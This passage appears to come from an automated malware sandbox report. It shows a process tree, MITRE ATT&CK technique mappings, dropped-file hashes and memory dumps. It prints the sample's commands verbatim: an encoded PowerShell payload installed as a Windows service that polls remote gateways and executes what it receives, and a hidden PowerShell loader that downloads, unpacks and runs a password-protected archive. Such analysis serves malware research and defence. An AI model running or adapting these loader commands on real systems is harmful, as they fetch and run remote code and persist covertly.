QBzAHUAbAB0ACAALQBuAG8AdABtAGEAdABjAGgAIAAnAHUAcwBfAGMAbwBuAGYAaQBnACcAKQAgAHsAIABmAG8AcgBlAGEAYwBoACAAKAAkAGcAYQB0AGUAdwBhAHkAIABpAG4AIAAkAGcAYQB0AGUAdwBhAHkAcwApACAAewAgAHQAcgB5ACAAewAgACQAdABlAHgAdAA9AFsAcwB0AHIAaQBuAGcAXQAoACAAaQB3AHIAIAAtAFUAcgBpACAAIgAkAGcAYQB0AGUAdwBhAHkALwBpAHAAbgBzAC8AJAB7AHMAdABhAHQAaQBjAH0APwBfAF8AdABzAD0AJAAoAFsARABhAHQAZQBUAGkAbQBlAE8AZgBmAHMAZQB0AF0AOgA6AFUAdABjAE4AbwB3AC4AVABvAFUAbgBpAHgAVABpAG0AZQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAoACkAKQAiACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADIAMAAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAgACcAQwBhAGMAaABlAC0AQwBvAG4AdAByAG8AbAAnAD0AIAAnAG4AbwAtAGMAYQBjAGgAZQAnADsAJwBQAHIAYQBnAG0AYQAnAD0AIAAnAG4AbwAtAGMAYQBjAGgAZQAnADsAfQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgACkALgBDAG8AbgB0AGUAbgB0ADsAaQBmACAAKAAkAHQAZQB4AHQAIAAtAG0AYQB0AGMAaAAgACcAdQBzAF8AYwBvAG4AZgBpAGcAJwApACAAewAgACQAcgBlAHMAdQBsAHQAPQAkAHQAZQB4AHQAOwBiAHIAZQBhAGsAOwB9ADsAfQAgAGMAYQB0AGMAaAAgAHsAIAB9ADsAfQA7AGkAZgAgACgAWwBzAHQAcgBpAG4AZwBdACQAcgBlAHMAdQBsAHQAIAAtAG4AbwB0AG0AYQB0AGMAaAAgACcAdQBzAF8AYwBvAG4AZgBpAGcAJwApACAAewAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUAOwB9ADsAfQA7AH0AOwBpAGUAeAAgACgAJwAkAHUAcwBfAGMAbwBuAGYAaQBnAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACIAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbwBuAGYAaQBnACIALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQApAC4AVAByAGkAbQAoACkAKQApADsAJwAgACsAIAAkAHIAZQBzAHUAbAB0ACkA" start= auto DisplayName= "Windows Phone"
    3⤵
    - Launches sc.exe
    PID:2100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -WindowStyle hidden -NoProfile -ExecutionPolicy Bypass -Command "$archive='................................................................................................................................................................................................................................................................';$archive=$archive.TrimEnd('.');$separator=$archive.IndexOf(',');if($separator -le 0 -or $separator -ge $archive.Length-1){throw 'perem $archive link pass'};$url=$archive.Substring(0,$separator).Trim();$password=$archive.Substring($separator+1);$baseDir=if($PSScriptRoot){$PSScriptRoot}else{(Get-Location).Path};$dataDir=Join-Path $baseDir 'data_program';if(Test-Path -LiteralPath (Join-Path $dataDir 'start.bat') -PathType Leaf){& (Join-Path $dataDir 'start.bat');exit 0};$zipPath=Join-Path $env:TEMP ('archive_{0}.zip'-f[guid]::NewGuid());try{New-Item -ItemType Directory -Path $dataDir -Force|Out-Null;Invoke-WebRequest -Uri $url -OutFile $zipPath -UseBasicParsing -ErrorAction Stop;& "$env:SystemRoot\System32\tar.exe" -xf $zipPath -C $dataDir --passphrase $password;if($LASTEXITCODE-ne 0){throw \\"archive nto successs tar.exe: $LASTEXITCODE\\"}; Start-Sleep 3;& (Join-Path $dataDir 'start.bat')}finally{Remove-Item $zipPath -Force -ErrorAction SilentlyContinue}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1396

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 952B
SHA256 1321a719825d2d8d2d9135e551e460635bdfeb75be0927c3df7bfb87c450b575
MD5 7e77eb6f40342772dc4bcf96f554af0f
SHA1 744fbbf1d38f6c69236842d3cc06e4136a197df7
SHA512 a839aed2c316ecda5423bb46e63af0b83cadf6af07467a765d2bf7ae99e458280535dbdc380b053d6c6c5c3452ff26c2e4f6946045530e0e3ee169643e78c212
TLSH
T1F7116633F3CC8624DC59403650CEAD1137B687CB40DEDE6B7B84D155B82F689DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1396-1-0x00007FFD8D74F000-0x00007FFD8D750000-memory.dmp

Download

memory/1396-5-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

Download

memory/1396-8-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

Download

memory/1396-9-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

Download

memory/1396-10-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

Download

memory/1396-11-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

Download

memory/1396-12-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

Download

memory/1396-13-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

Download

memory/1396-18-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

Download

memory/1396-17-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

Download

memory/1756-4-0x0000020978170000-0x0000020978192000-memory.dmp

Download